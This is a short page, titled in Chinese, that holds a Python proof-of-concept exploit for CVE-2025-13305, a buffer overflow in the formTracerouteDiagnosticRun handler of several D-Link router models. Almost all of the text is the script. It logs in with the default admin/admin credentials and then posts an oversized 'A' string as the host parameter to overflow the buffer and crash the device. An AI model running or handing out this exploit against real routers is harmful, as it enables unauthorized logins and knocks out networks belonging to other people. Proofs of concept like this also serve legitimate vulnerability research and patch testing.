CVE-2025-13305 D-Link多型号路由器formTracerouteDiagnosticRun缓冲区溢出漏洞

import requests # CVE-2025-13305 PoC - D-Link Router formTracerouteDiagnosticRun Buffer Overflow # Target: D-Link DWR-M920, DWR-M921, DWR-M960, DIR-822K, DIR-825M (Firmware 1.01.07) TARGET_IP = "192.168.1.1" # Router IP address TARGET_PORT = 80 LOGIN_URL = f"http://{TARGET_IP}:{TARGET_PORT}/login.cgi" EXPLOIT_URL = f"http://{TARGET_IP}:{TARGET_PORT}/boafrm/formTracerouteDiagnosticRun" def exploit_buffer_overflow(): """ Exploit for CVE-2025-13305 Buffer overflow in formTracerouteDiagnosticRun via host parameter """ # Login first - default credentials often work login_data = { "username": "admin", "password": "admin" } session = requests.Session() try: # Attempt login session.post(LOGIN_URL, data=login_data, timeout=10) # Buffer overflow payload - oversized host parameter # This causes buffer overflow in the host parameter handling overflow_payload = "A" * 1000 # Large string to trigger overflow exploit_data = { "host": overflow_payload, "submit": "Start Diagnostic" } print(f"[*] Sending exploit payload to {EXPLOIT_URL}") print(f"[*] Payload length: {len(overflow_payload)}") # Send exploit request response = session.post(EXPLOIT_URL, data=exploit_data, timeout=10) print(f"[+] Exploit sent. Status code: {response.status_code}") print(f"[*] Response length: {len(response.content)}") return True except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": print("=" * 60) print("CVE-2025-13305 PoC - D-Link Router Buffer Overflow") print("=" * 60) exploit_buffer_overflow()